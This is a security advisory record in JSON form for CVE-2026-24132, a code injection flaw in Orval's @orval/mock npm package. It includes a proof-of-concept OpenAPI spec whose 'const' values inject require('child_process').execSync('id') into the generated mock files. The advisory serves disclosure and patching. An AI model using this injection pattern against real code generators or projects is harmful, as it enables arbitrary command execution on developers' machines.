{"id":"GHSA-f456-rf33-4626","summary":"Orval Mock Generation Code Injection via const","details":"I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.\n\n```yaml\nopenapi: 3.1.0\ninfo:\n  title: Mock Const Injection PoC\n  version: 1.0.0\npaths:\n  /test:\n    get:\n      operationId: getTests\n      responses:\n        '200':\n          description: OK\n          content:\n            application/json:\n              schema:\n                $ref: '#/components/schemas/Tests'\ncomponents:\n  schemas:\n    Tests:\n      type: object\n      properties:\n        EvilString:\n          type: string\n          const: \"'); require('child_process').execSync('id'); //\"\n        EvilNumber:\n          type: number\n          const: \"0); require('child_process').execSync('id'); //\"\n        SafeEnum:\n          type: string\n          enum: [\"test\"]\n\n```","aliases":["CVE-2026-24132"],"modified":"2026-02-28T06:27:01.410338Z","published":"2026-01-22T18:09:13Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-01-22T18:09:13Z","nvd_published_at":"2026-01-23T00:15:52Z","cwe_ids":["CWE-77","CWE-94"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/orval-labs/orval/security/advisories/GHSA-f456-rf33-4626"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24132"},{"type":"WEB","url":"https://github.com/orval-labs/orval/pull/2828"},{"type":"WEB","url":"https://github.com/orval-labs/orval/pull/2829"},{"type":"WEB","url":"https://github.com/orval-labs/orval/pull/2830"},{"type":"WEB","url":"https://github.com/orval-labs/orval/commit/44ca8c1f5f930a3e4cefb6b79b38bcde7f8532a5"},{"type":"WEB","url":"https://github.com/orval-labs/orval/commit/6d8ece07ccb80693ad43edabccb3957aceadcd06"},{"type":"WEB","url":"https://github.com/orval-labs/orval/commit/9b211cddc9f009f8a671e4ac5c6cb72cd8646b62"},{"type":"PACKAGE","url":"https://github.com/orval-labs/orval"},{"type":"WEB","url":"https://github.com/orval-labs/orval/releases/tag/v7.20.0"},{"type":"WEB","url":"https://github.com/orval-labs/orval/releases/tag/v8.0.3"}],"affected":[{"package":{"name":"@orval/mock","ecosystem":"npm","purl":"pkg:npm/%40orval/mock"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.20.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-f456-rf33-4626/GHSA-f456-rf33-4626.json"}},{"package":{"name":"@orval/mock","ecosystem":"npm","purl":"pkg:npm/%40orval/mock"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0-rc.0"},{"fixed":"8.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-f456-rf33-4626/GHSA-f456-rf33-4626.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}